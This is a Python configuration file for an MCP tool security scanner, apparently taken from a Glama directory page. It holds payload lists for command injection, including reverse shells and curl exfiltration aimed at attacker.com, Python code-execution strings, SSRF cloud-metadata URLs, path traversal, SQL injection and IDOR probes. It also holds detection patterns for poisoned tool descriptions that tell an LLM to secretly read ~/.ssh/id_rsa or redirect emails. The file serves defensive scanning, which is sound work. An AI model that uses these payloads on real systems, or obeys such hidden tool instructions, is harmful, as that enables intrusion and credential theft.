Skip to main content
Glama
config.py23 kB
"""配置文件:MCP 工具安全检测载荷 MCP 工具安全风险分类: 1. 工具描述注入 (Tool Description Injection) - 恶意工具描述诱导 LLM 执行危险操作 2. Rug Pull 攻击 - 工具行为在多次调用后改变 3. 敏感信息泄露 - 工具返回或要求敏感数据 4. 命令/代码执行 - 工具允许执行任意命令或代码 5. SSRF - 工具允许访问内部资源 6. 过度授权 - 工具权限超出必要范围 7. 过度数据暴露 - 返回超出预期的大量数据 """ # ============================================================ # MCP 工具安全检测载荷 # ============================================================ MCP_INJECTION_PAYLOADS = { # --------------------------------------------------------- # MCP-01: 工具描述注入检测 # 检测工具描述中是否包含恶意指令 # --------------------------------------------------------- "mcp_tool_description_injection": [ # 检测隐藏指令标签 "<IMPORTANT>", "</IMPORTANT>", "<!-- ", " -->", "Do not mention", "do not tell the user", "secretly", "without user knowing", # 检测敏感文件读取指令 "read ~/.cursor/mcp.json", "read ~/.ssh/id_rsa", "read /etc/passwd", "read config file", "pass its content as", # 检测行为劫持指令 "must send all emails to", "redirect to", "forward to", "actual recipient will be extracted", ], # --------------------------------------------------------- # MCP-02: 命令注入 - 测试工具是否执行系统命令 # --------------------------------------------------------- "mcp_command_injection": [ # 基础命令注入 "; cat /etc/passwd", "| ls -la", "`whoami`", "$(id)", "&& cat /etc/passwd", "|| cat /etc/passwd", # 反弹 shell "; curl http://attacker.com/$(whoami)", "| nc attacker.com 4444 -e /bin/sh", "; bash -i >& /dev/tcp/attacker.com/4444 0>&1", # Windows 命令 "& dir", "| type C:\\Windows\\System32\\config\\SAM", ], # --------------------------------------------------------- # MCP-03: 代码执行 - 测试 eval/exec 类工具 # --------------------------------------------------------- "mcp_code_execution": [ # Python 代码执行 "__import__('os').system('whoami')", "exec('import os; os.system(\"id\")')", "eval('__import__(\"os\").popen(\"whoami\").read()')", # 文件操作 "open('/etc/passwd').read()", "__import__('subprocess').check_output(['cat', '/etc/passwd'])", # 网络请求 "__import__('requests').get('http://attacker.com')", "__import__('urllib.request').urlopen('http://attacker.com').read()", ], # --------------------------------------------------------- # MCP-04: SSRF - 测试工具是否允许访问内部资源 # --------------------------------------------------------- "mcp_ssrf": [ # 内网 IP "http://127.0.0.1", "http://localhost", "http://0.0.0.0", "http://192.168.1.1", "http://10.0.0.1", "http://172.16.0.1", # 云元数据服务 "http://169.254.169.254/latest/meta-data/", "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "http://metadata.google.internal/computeMetadata/v1/", "http://169.254.169.254/metadata/instance?api-version=2021-02-01", # 协议绕过 "file:///etc/passwd", "dict://localhost:6379/info", "gopher://localhost:6379/_INFO", # DNS 重绑定 "http://localtest.me", "http://127.0.0.1.nip.io", ], # --------------------------------------------------------- # MCP-05: 路径遍历 - 测试文件操作工具 # --------------------------------------------------------- "mcp_path_traversal": [ "../../../etc/passwd", "..\\..\\..\\windows\\system32\\config\\sam", "....//....//....//etc/passwd", "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", "..%252f..%252f..%252fetc/passwd", "/etc/passwd%00.jpg", "....//....//....//etc/shadow", ], # --------------------------------------------------------- # MCP-06: SQL 注入 # --------------------------------------------------------- "mcp_sql_injection": [ "' OR '1'='1", "1' UNION SELECT * FROM information_schema.tables --", "admin'--", "1; SELECT * FROM users WHERE '1'='1", "' OR 1=1--", "'; EXEC xp_cmdshell('whoami'); --", ], # --------------------------------------------------------- # MCP-07: 敏感信息探测 # --------------------------------------------------------- "mcp_sensitive_info_probe": [ # 凭证关键词 "password", "secret", "api_key", "token", "credential", "private_key", "connection_string", # 配置文件路径 "/.env", "/config.json", "/application.yml", "/settings.py", "/.git/config", # 系统文件 "/etc/passwd", "/etc/shadow", "/proc/self/environ", ], # --------------------------------------------------------- # MCP-08: 资源标识符注入 (internal:// 等) # --------------------------------------------------------- "mcp_resource_injection": [ "internal://credentials", "system://config", "admin://settings", "secret://keys", "config://database", "env://variables", ], # --------------------------------------------------------- # MCP-09: 过度数据暴露测试 - 测试是否返回大量数据 # --------------------------------------------------------- "mcp_excessive_data_exposure": [ # 空查询/通配符查询 "", "*", "%", ".*", "all", "全部", # 大范围查询 "1=1", "true", # 无限制分页 '{"page": 1, "size": 99999}', '{"limit": 999999}', '{"offset": 0, "limit": -1}', ], # --------------------------------------------------------- # MCP-10: 越权访问测试 (IDOR) - 测试是否能访问他人数据 # --------------------------------------------------------- "mcp_idor": [ # 用户ID遍历 "1", "0", "admin", "zhangw", "liuy", "longj", "guest", # 常见员工工号格式 "80000002", "90000002", "00000008", # UUID 测试 "00000000-0000-0000-0000-000000000000", # 负数/边界值 "-1", "999999999", ], # --------------------------------------------------------- # MCP-11: 敏感业务数据探测 - HR/财务等敏感信息 # --------------------------------------------------------- "mcp_sensitive_business_probe": [ # HR 相关查询 "salary", "薪资", "工资", "绩效", "考勤", "员工", "人事", # 财务相关 "财务", "报销", "账户", "银行卡", "合同", "成本", # 个人信息 "身份证", "手机号", "地址", "邮箱", ], } # ============================================================ # MCP 工具描述安全检测模式 # 用于检测工具描述中的恶意内容 # ============================================================ TOOL_DESCRIPTION_RISK_PATTERNS = { "hidden_instruction": [ "<IMPORTANT>", "</IMPORTANT>", "<!--", "-->", "[hidden", "secretly", "do not mention", "do not tell", "without user knowing", "implementation detail", ], "sensitive_file_access": [ "~/.cursor/", "~/.ssh/", "~/.aws/", "~/.config/", "/etc/passwd", "/etc/shadow", "mcp.json", "id_rsa", "credentials", "config file", ], "behavior_hijacking": [ "must send", "redirect to", "forward to", "actual recipient", "side effect", "when this tool is available", "application will crash", "data will be lost", ], "rug_pull_indicator": [ "has been upgraded", "enhanced", "before providing", "you must first", "access the system", "include the API keys", "present the information as if", ], } # ============================================================ # 敏感信息检测模式 - 分级检测 # HIGH_CONFIDENCE: 高可信度,直接判定为漏洞 # MEDIUM_CONFIDENCE: 中可信度,需要上下文验证 # ============================================================ # 高可信度敏感模式 - 这些模式出现即表示存在真实的敏感信息泄露 SENSITIVE_PATTERNS_HIGH_CONFIDENCE = [ # 系统文件内容(命令执行成功的明确标志) "root:x:0:0:", "daemon:x:1:1:", "bin:x:2:2:", # /etc/passwd 内容 "/bin/bash", "/bin/sh", "/usr/sbin/nologin", "uid=0(root)", "uid=", "gid=", "groups=", # 私钥泄露(高危) "-----BEGIN RSA PRIVATE", "-----BEGIN PRIVATE KEY", "-----BEGIN OPENSSH PRIVATE", "ssh-rsa AAAA", "-----BEGIN EC PRIVATE", # 数据库连接字符串(包含实际凭据) "mongodb://", "mysql://", "postgres://", "redis://", "jdbc:mysql://", "jdbc:postgresql://", # 云服务凭证 "AKIA", # AWS Access Key ID 前缀 "sk-", # OpenAI API Key 前缀 "169.254.169.254", # 云元数据服务 "iam/security-credentials", # 命令执行成功的明确标志 "drwxr-xr-x", "drwx------", "-rw-r--r--", # ls -la 输出 "total ", # ls 输出 # 内部资源标识 "internal://", "system://", "admin://", "SYSTEM CREDENTIALS", "Admin Username", "Admin Password", ] # 中可信度敏感模式 - 需要结合上下文判断 SENSITIVE_PATTERNS_MEDIUM_CONFIDENCE = [ # SQL 注入成功标志(需要验证不是正常错误) "information_schema", "table_name", "column_name", "UNION SELECT", "ORDER BY", # 配置信息泄露 "connection_string", "connectionString", "AWS_ACCESS_KEY", "AWS_SECRET_KEY", "AZURE_", "GCP_PROJECT", ] # 合并为兼容旧代码的列表(仅包含高可信度) SENSITIVE_PATTERNS = SENSITIVE_PATTERNS_HIGH_CONFIDENCE # ============================================================ # 敏感业务数据检测模式 (HR/财务/个人信息) # ============================================================ SENSITIVE_BUSINESS_PATTERNS = { # HR 敏感数据 "hr_data": [ "salary", "薪资", "工资", "薪酬", "年薪", "月薪", "绩效", "考核", "评级", "奖金", "提成", "考勤", "请假", "加班", "出勤", "入职", "离职", "转正", "试用期", "社保", "公积金", "五险一金", ], # 财务敏感数据 "finance_data": [ "银行账号", "银行卡", "账户余额", "转账", "报销", "发票", "费用", "预算", "成本", "利润", "营收", "收入", "合同金额", "付款", "收款", ], # 个人隐私数据 (PII) "pii_data": [ "身份证", "idcard", "id_card", "证件号", "手机号", "电话", "phone", "mobile", "家庭住址", "地址", "address", "邮箱", "email", "出生日期", "birthday", "生日", "籍贯", "民族", "婚姻", ], # 组织敏感数据 "org_data": [ "组织架构", "部门", "汇报关系", "职级", "职位", "岗位", "权限", "角色", "admin", ], } # ============================================================ # 攻击类型描述 # ============================================================ ATTACK_DESCRIPTIONS = { "mcp_tool_description_injection": "MCP工具描述注入:检测工具描述中是否包含恶意隐藏指令", "mcp_command_injection": "MCP命令注入:测试工具是否允许执行系统命令", "mcp_code_execution": "MCP代码执行:测试工具是否允许执行任意代码", "mcp_ssrf": "MCP-SSRF:测试工具是否允许访问内部资源或云元数据", "mcp_path_traversal": "MCP路径遍历:测试文件操作工具的路径验证", "mcp_sql_injection": "MCP-SQL注入:测试数据库查询工具的输入过滤", "mcp_sensitive_info_probe": "MCP敏感信息探测:测试工具是否返回敏感数据", "mcp_resource_injection": "MCP资源注入:测试工具是否允许访问内部资源标识符", } # 合并所有载荷 INJECTION_PAYLOADS = MCP_INJECTION_PAYLOADS # ============================================================ # MCP 安全分类 # ============================================================ OWASP_MCP_CATEGORIES = { "Tool_Description_Injection": ["mcp_tool_description_injection"], "Command_Injection": ["mcp_command_injection"], "Code_Execution": ["mcp_code_execution"], "SSRF": ["mcp_ssrf"], "Path_Traversal": ["mcp_path_traversal"], "SQL_Injection": ["mcp_sql_injection"], "Info_Disclosure": ["mcp_sensitive_info_probe"], "Resource_Injection": ["mcp_resource_injection"], } # ============================================================ # 危险工具名称模式 (基于 testcase1.py) # ============================================================ DANGEROUS_TOOL_PATTERNS = [ "execute_code", "execute_command", "eval", "exec", "run_code", "run_command", "shell", "system", "subprocess", ] # ============================================================ # 危险资源模式 # ============================================================ DANGEROUS_RESOURCE_PATTERNS = [ "internal://", "system://", "admin://", "secret://", "config://", "credentials", ] # ============================================================ # 硬编码凭据检测模式 # 用于检测工具 inputSchema 中的硬编码敏感信息 # ============================================================ HARDCODED_CREDENTIAL_PATTERNS = { # Authorization 头 "authorization_header": [ "Basic ", # Basic Auth (Base64 编码) "Bearer ", # Bearer Token "Token ", # Token Auth "ApiKey ", # API Key "AWS4-HMAC-", # AWS Signature ], # API Key 模式 "api_key_patterns": [ r"sk-[a-zA-Z0-9]{20,}", # OpenAI API Key r"api[_-]?key[\"']?\s*[:=]\s*[\"']?[a-zA-Z0-9]{16,}", r"apikey-[a-zA-Z0-9]{16,}", # 通用 API Key r"key-[a-zA-Z0-9]{16,}", ], # 密码/密钥模式 "secret_patterns": [ r"password[\"']?\s*[:=]\s*[\"']?[^\s\"']{4,}", r"secret[\"']?\s*[:=]\s*[\"']?[^\s\"']{4,}", r"token[\"']?\s*[:=]\s*[\"']?[a-zA-Z0-9]{16,}", r"private[_-]?key", ], # Base64 编码的凭据(长度 > 20 的 Base64 字符串) "base64_credentials": [ r"[A-Za-z0-9+/]{20,}={0,2}", # Base64 pattern ], } # 敏感参数名称(在 inputSchema 中检测) SENSITIVE_PARAM_NAMES = [ "authorization", "auth", "authkey", "auth_key", "auth-key", "token", "accesstoken", "access_token", "api_key", "apikey", "api-key", "password", "passwd", "pwd", "secret", "secretkey", "secret_key", "credential", "private_key", "access_key", "appkey", "app_key", "appid", "app_id", "clientsecret", "client_secret", ] # 硬编码凭据的严重程度 HARDCODED_SEVERITY = { "authorization_header": "HIGH", "api_key_patterns": "HIGH", "secret_patterns": "CRITICAL", "base64_credentials": "MEDIUM", } # ============================================================ # 工具类型识别和动态 Payload 生成策略 # ============================================================ # 工具类型识别规则 - 基于工具名称和描述关键词 TOOL_TYPE_PATTERNS = { # 查询类工具 - 优先测试数据暴露和 IDOR "query": { "name_patterns": ["query", "search", "find", "get", "list", "fetch", "select", "查询", "搜索", "获取"], "desc_patterns": ["查询", "搜索", "获取", "列表", "query", "search", "find", "retrieve"], "recommended_attacks": ["mcp_excessive_data_exposure", "mcp_idor", "mcp_sql_injection", "mcp_sensitive_business_probe"], "priority_payloads": { "mcp_excessive_data_exposure": ["", "*", "%", "all"], "mcp_idor": ["1", "admin", "0", "-1"], "mcp_sql_injection": ["' OR '1'='1", "1' UNION SELECT * FROM information_schema.tables --"], } }, # 执行类工具 - 优先测试命令注入和代码执行 "execute": { "name_patterns": ["execute", "exec", "run", "eval", "shell", "command", "cmd", "执行", "运行"], "desc_patterns": ["执行", "运行", "命令", "脚本", "execute", "run", "command", "script"], "recommended_attacks": ["mcp_command_injection", "mcp_code_execution"], "priority_payloads": { "mcp_command_injection": ["; cat /etc/passwd", "| whoami", "`id`", "$(whoami)"], "mcp_code_execution": ["__import__('os').system('id')", "exec('import os; print(os.getcwd())')"], } }, # 文件操作类工具 - 优先测试路径遍历 "file": { "name_patterns": ["file", "read", "write", "upload", "download", "path", "文件", "读取", "写入", "上传", "下载"], "desc_patterns": ["文件", "读取", "写入", "上传", "下载", "路径", "file", "read", "write", "path"], "recommended_attacks": ["mcp_path_traversal", "mcp_sensitive_info_probe"], "priority_payloads": { "mcp_path_traversal": ["../../../etc/passwd", "....//....//etc/passwd", "/etc/passwd"], "mcp_sensitive_info_probe": ["/.env", "/config.json", "~/.ssh/id_rsa"], } }, # 网络请求类工具 - 优先测试 SSRF "network": { "name_patterns": ["http", "request", "fetch", "url", "api", "call", "网络", "请求", "调用"], "desc_patterns": ["请求", "调用", "URL", "API", "HTTP", "网络", "request", "fetch", "call"], "recommended_attacks": ["mcp_ssrf", "mcp_resource_injection"], "priority_payloads": { "mcp_ssrf": ["http://127.0.0.1", "http://169.254.169.254/latest/meta-data/", "file:///etc/passwd"], "mcp_resource_injection": ["internal://credentials", "system://config"], } }, # 数据库类工具 - 优先测试 SQL 注入 "database": { "name_patterns": ["sql", "db", "database", "table", "数据库", "表"], "desc_patterns": ["数据库", "SQL", "表", "记录", "database", "table", "record"], "recommended_attacks": ["mcp_sql_injection", "mcp_excessive_data_exposure"], "priority_payloads": { "mcp_sql_injection": ["' OR '1'='1", "'; DROP TABLE users; --", "1 UNION SELECT * FROM users"], "mcp_excessive_data_exposure": ["", "1=1", "*"], } }, # 用户/员工类工具 - 优先测试 IDOR 和敏感数据 "user": { "name_patterns": ["user", "employee", "staff", "member", "person", "用户", "员工", "人员"], "desc_patterns": ["用户", "员工", "人员", "成员", "user", "employee", "staff", "person"], "recommended_attacks": ["mcp_idor", "mcp_sensitive_business_probe", "mcp_excessive_data_exposure"], "priority_payloads": { "mcp_idor": ["1", "admin", "root", "0", "guest"], "mcp_sensitive_business_probe": ["salary", "薪资", "身份证", "手机号"], } }, # 默认类型 - 通用测试 "default": { "name_patterns": [], "desc_patterns": [], "recommended_attacks": ["mcp_excessive_data_exposure", "mcp_sensitive_business_probe", "mcp_idor"], "priority_payloads": { "mcp_excessive_data_exposure": ["", "*"], "mcp_sensitive_business_probe": ["salary", "员工"], "mcp_idor": ["1", "admin"], } } } # 参数类型对应的 payload 策略 PARAM_TYPE_PAYLOADS = { # ID 类参数 - 测试 IDOR "id_params": { "patterns": ["id", "userid", "user_id", "employeeid", "employee_id", "uid", "工号"], "payloads": ["1", "0", "admin", "-1", "999999", "00000000-0000-0000-0000-000000000000"], "attack_type": "mcp_idor" }, # 查询类参数 - 测试 SQL 注入和数据暴露 "query_params": { "patterns": ["query", "search", "keyword", "filter", "where", "条件", "关键字"], "payloads": ["", "*", "' OR '1'='1", "%"], "attack_type": "mcp_sql_injection" }, # 路径类参数 - 测试路径遍历 "path_params": { "patterns": ["path", "file", "filename", "filepath", "dir", "directory", "路径", "文件"], "payloads": ["../../../etc/passwd", "/etc/passwd", "....//....//etc/passwd"], "attack_type": "mcp_path_traversal" }, # URL 类参数 - 测试 SSRF "url_params": { "patterns": ["url", "uri", "link", "endpoint", "target", "地址", "链接"], "payloads": ["http://127.0.0.1", "http://169.254.169.254/latest/meta-data/", "file:///etc/passwd"], "attack_type": "mcp_ssrf" }, # 命令类参数 - 测试命令注入 "command_params": { "patterns": ["cmd", "command", "exec", "shell", "script", "命令", "脚本"], "payloads": ["; cat /etc/passwd", "| whoami", "`id`"], "attack_type": "mcp_command_injection" }, # 代码类参数 - 测试代码执行 "code_params": { "patterns": ["code", "expression", "eval", "script", "代码", "表达式"], "payloads": ["__import__('os').system('id')", "exec('import os')"], "attack_type": "mcp_code_execution" }, } # 攻击类型的默认严重程度 ATTACK_TYPE_SEVERITY = { "mcp_command_injection": "CRITICAL", "mcp_code_execution": "CRITICAL", "mcp_sql_injection": "HIGH", "mcp_ssrf": "HIGH", "mcp_path_traversal": "HIGH", "mcp_idor": "HIGH", "mcp_excessive_data_exposure": "MEDIUM", "mcp_sensitive_business_probe": "MEDIUM", "mcp_sensitive_info_probe": "MEDIUM", "mcp_resource_injection": "MEDIUM", "mcp_tool_description_injection": "HIGH", }

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/anntsmart/MCP-Security-Scanner'

If you have feedback or need assistance with the MCP directory API, please join our Discord server